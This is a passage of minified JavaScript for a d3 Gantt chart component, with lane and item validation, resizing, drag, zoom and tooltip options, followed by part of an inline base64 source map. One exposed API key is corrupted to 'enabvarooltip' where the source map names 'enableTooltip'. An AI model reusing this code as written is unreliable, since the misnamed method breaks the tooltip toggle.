0===t.lane&&C("Lane required"),r.length>1&&C("Id: "+r[0].id+" expected unique"),n instanceof Date&&!isNaN(n)||C("Start date expected Date"),a instanceof Date&&!isNaN(a)||C("End date expected Date")}function j(){X();var t=H();A(W.width,t.max*W.itemHeight*W.lanes.length+W.margin.top+W.margin.bottom),F(t.max)}function X(){for(var t=0;t<W.lanes.length;t++)for(var e=W.items.filter(function(e){return e.lane==t}),n=0;n<e.length;n++){var a=e[n],r=W.items.find(function(t){return t.id===a.id});r.sublane=n}}function C(t){throw TypeError(t)}var Z,M,q,O,B,_,J,K,Q,U,V,W={},$=Object.prototype.toString,tt="[object Array]",et="[object Object]",nt="[object String]",at=15;return Z={addItems:e,autoresize:n,enableDrag:c,enableItemResize:u,enabvarooltip:h,enableZoom:g,attachEvent:a,items:x,addLanes:y,lanes:w,margin:D,showLaneLabel:L,showXGrid:k,showYGrid:G,size:A,sublanes:F,getItemsByLane:N,updateItems:I,redraw:T,resize:S,chart:function(){return O},svg:function(){return M},renderTo:function(){return W.renderTo},xAxis:function(){return J},xScale:function(){return K},yScale:function(){return U},yAxis:function(){return Q},zoom:function(){return V}},W.items=null,W.lanes=null,W.renderTo="#gantt_chart",W.sublanes=1,W.startTime=null,W.endTime=null,W.isAutoResize=!0,W.isEnableDrag=!0,W.isEnableItemResize=!0,W.isEnableTooltip=!0,W.isEnableZoom=!0,W.isShowXGrid=!0,W.isShowYGrid=!0,W.isShowLaneLabel=!0,W.duration=20,W.startDrag=[],W.moveDrag=[],W.endDrag=[],W.doubleClick=[],W.height=null,W.width=null,W.itemHeight=35,W.margin={top:20,right:15,bottom:20,left:20},function(){d(W,t),W.items=W.items||[],W.lanes=W.lanes||[],W.lanes.length=f(),null===W.height&&(W.height=parseInt(d3.select(W.renderTo).style("height"))||480),null===W.width&&(W.width=parseInt(d3.select(W.renderTo).style("width"))||640),r(),n(W.isAutoResize),c(W.isEnableDrag),h(W.isEnableTooltip),g(W.isEnableZoom),L(W.isShowLaneLabel),k(W.isShowXGrid),G(W.isShowYGrid),j(),T()}(),Z};
//# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImdhbnR0LWNoYXJ0LmpzIl0sIm5hbWVzIjpbImdhbnR0Q2hhcnQiLCJjb25mIiwiYWRkSXRlbXMiLCJuZXdJdGVtcyIsIml0ZW1zVHlwZSIsInRvU3RyIiwiY2FsbCIsImFzdHIiLCJvc3RyIiwidGhyb3dFcnJvciIsImNoZWNrUmVxdWlyZUl0ZW1GaWVsZCIsInNlbGYiLCJpdGVtcyIsImNvbmNhdCIsInJlcXVpcmVJdGVtRmllbGQiLCJwdXNoIiwib25JdGVtc0NoYW5nZSIsImFwaSIsImF1dG9yZXNpemUiLCJpc0F1dG9SZXNpemUiLCJhcmd1bWVudHMiLCJsZW5ndGgiLCJkMyIsInNlbGVjdCIsIndpbmRvdyIsIm9uIiwicmVzaXplIiwiYXR0YWNoRXZlbnQiLCJldmVudCIsImNhbGxiYWNrIiwic3RhcnREcmFnIiwibW92ZURyYWciLCJlbmREcmFnIiwiZG91YmxlQ2xpY2siLCJidWlsZCIsImxhbmVMZW5ndGgiLCJsYW5lcyIsIm1hcmdpbldpZHRoIiwiZ2V0TWFyZ2luV2lkdGgiLCJtYXJnaW5IZWlnaHQiLCJnZXRNYXJnaW5IZWlnaHQiLCJjaGFydCIsInJlbmRlclRvIiwiYXBwZW5kIiwiYXR0ciIsIndpZHRoIiwiaGVpZ2h0IiwiZHJhZyIsImJlaGF2aW9yIiwiZCIsImRyYWdzdGFydCIsInRoaXMiLCJpIiwiZHJhZ21vdmUiLCJkcmFnZW5kIiwibWFpbiIsIm1hcmdpbiIsImxlZnQiLCJ0b3AiLCJ0b29sdGlwRGl2Iiwic3R5bGUiLCJ4U2NhbGUiLCJ0aW1lIiwic2NhbGUiLCJkb21haW4iLCJnZXRUaW1lRG9tYWluIiwicmFuZ2UiLCJ5U2NhbGUiLCJsaW5lYXIiLCJ4QXhpcyIsInN2ZyIsImF4aXMiLCJvcmllbnQiLCJ0aWNrcyIsImR1cmF0aW9uIiwieUF4aXMiLCJ0aWNrRm9ybWF0Iiwiem9vbSIsIngiLCJpdGVtUmVjdHMiLCJpc0VuYWJsZVRvb2x0aXAiLCJ0YXJnZXQiLCJjbG9zZXN0IiwiaGlkZVRvb2x0aXAiLCJjaGFuZ2VDdXJzb3IiLCJwYXJzZUZsb2F0IiwieDEiLCJyZXNpemVSZWN0TWFyZ2luIiwidW5kZWZpbmVkIiwidGhpc0VsIiwieSIsImlkIiwieFRleHQiLCJpc0VuYWJsZUl0ZW1SZXNpemUiLCJpc1Jlc2l6ZSIsInN0YXJ0IiwiRGF0ZSIsInBhcnNlIiwiaW52ZXJ0IiwiZHgiLCJzaG93VG9vbHRpcCIsImVuZCIsImlzRW5hYmxlRHJhZyIsImlzTW92ZSIsImR5IiwiaXRlbUhlaWdodCIsImVsIiwibGFuZSIsIk1hdGgiLCJmbG9vciIsInJlbmRlclN1YmxhbmUiLCJyZWRyYXciLCJjdXJzb3IiLCJpbmNsdWRlcyIsIm9sZFN0YXJ0Iiwib2xkRW5kIiwic291cmNlRXZlbnQiLCJzdG9wUHJvcGFnYXRpb24iLCJjb3B5U2FtZVByb3AiLCJjb3B5VG8iLCJjb3B5RnJvbSIsInAiLCJoYXNPd25Qcm9wZXJ0eSIsImVuYWJsZURyYWciLCJlbmFibGVJdGVtUmVzaXplIiwiZW5hYmxlVG9vbHRpcCIsImVuYWJsZVpvb20iLCJpc0VuYWJsZVpvb20iLCJnZXRMYW5lTGVuZ3RoIiwicmlnaHQiLCJib3R0b20iLCJzdGFydFRpbWUiLCJtaW4iLCJlbmRUaW1lIiwibWF4IiwidHJhbnNpdGlvbiIsIm5ld0xhbmVzIiwibGFuZXNUeXBlIiwic2hvd0xhbmVMYWJlbCIsImlzU2hvd0xhbmVMYWJlbCIsImFkZExhbmVzIiwibmV3TGFuZSIsImxhbmVUeXBlIiwic3N0ciIsIm9uTGFuZXNDaGFuZ2UiLCJuZXdNYXJnaW4iLCJtc2ciLCJpc05hTiIsInBhcnNlSW50IiwicmVjdHMiLCJzZWxlY3RBbGwiLCJkYXRhIiwic3VibGFuZXMiLCJzdWJsYW5lIiwiZW50ZXIiLCJleGl0IiwicmVtb3ZlIiwidGV4dHMiLCJ0ZXh0IiwibGFiZWwiLCJmaWxsVGl0bGUiLCJzaG93WEdyaWQiLCJpc1Nob3dZR3JpZCIsInNob3dZR3JpZCIsImluZGV4IiwidXBkYXRlSXRlbXMiLCJuZXdJdGVtIiwib2xkSXRlbSIsImZpbHRlciIsIm9iaiIsImRlZmF1bHRQcmV2ZW50ZWQiLCJodG1sIiwidG9vbHRpcCIsImlzU2hvd1hHcmlkIiwidGlja1NpemUiLCJzaXplIiwibmV3U3VibGFuZXMiLCJnZXRJdGVtc0J5TGFuZSIsIml0ZW0iLCJnZXRNYXhTdWJsYW5lIiwibWF4U3VibGFuZSIsIm1hcCIsInR5cGUiLCJzdGFydERhdGUiLCJlbmREYXRlIiwiaWRzIiwic2VwYXJhdGVTdWJsYW5lIiwibCIsIml0ZW1MYW5lcyIsIml0ZW1DaGFuZ2UiLCJmaW5kIiwiVHlwZUVycm9yIiwiT2JqZWN0IiwicHJvdG90eXBlIiwidG9TdHJpbmciLCJlbmFidmFyb29sdGlwIl0sIm1hcHBpbmdzIjoiQUFBQSxZQUVBLElBQUlBLFlBQWEsU0FBU0MsR0FrR3RCLFFBQVNDLEdBQVNDLEdBQ2QsR0FBSUMsR0FBWUMsRUFBTUMsS0FBS0gsRUFZM0IsT0FYSUMsS0FBY0csSUFBUUgsSUFBY0ksSUFBTUMsRUFBVyxrQ0FBb0NMLEdBQzFGQSxJQUFjRyxJQUNiRyxFQUFzQlAsR0FDdEJRLEVBQUtDLE1BQVFELEVBQUtDLE1BQU1DLE9BQU9WLEtBSS9CVyxFQUFpQlgsR0FDakJRLEVBQUtDLE1BQU1HLEtBQUtaLElBRXBCYSxJQUNPQyxFQUdYLFFBQVNDLEdBQVdDLEdBQ2hCLE1BQUtDLFdBQVVDLFFBQ2ZDLEdBQUdDLE9BQU9DLFFBQVFDLEdBQUcsU0FBV04sS0FBaUIsRUFBU08sRUFBUyxNQUNuRWYsRUFBS1EsYUFBZUEsRUFDYkYsR0FIdUJOLEVBQUtRLGFBTXZDLFFBQVNRLEdBQVlDLEVBQU9DLEdBQ3hCLE9BQU9ELEdBQ0gsSUFBSyxZQUNEakIsRUFBS21CLFVBQVVmLEtBQUtjLEVBQ3BCLE1BQ0osS0FBSyxXQUNEbEIsRUFBS29CLFNBQVNoQixLQUFLYyxFQUNuQixNQUNKLEtBQUssVUFDRGxCLEVBQUtxQixRQUFRakIsS0FBS2MsRUFDbEIsTUFDSixLQUFLLGNBQ0RsQixFQUFLc0IsWUFBWWxCLEtBQUtjLEdBRzlCLE1BQU9aLEdBR1gsUUFBU2lCLEtBQ0wsR0FBSUMs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